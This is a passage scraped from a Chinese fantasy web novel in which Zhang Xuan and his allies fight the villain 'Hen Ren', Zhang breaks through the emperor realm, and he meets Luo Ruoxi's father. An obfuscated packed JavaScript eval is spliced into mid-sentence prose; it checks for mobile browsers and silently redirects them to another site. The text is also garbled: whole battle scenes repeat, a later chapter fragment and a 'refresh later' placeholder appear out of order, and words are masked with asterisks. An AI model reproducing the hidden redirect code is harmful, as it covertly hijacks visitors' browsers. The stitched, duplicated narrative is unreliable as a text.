她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546017|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第45章…竟然如此不堪一击? 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 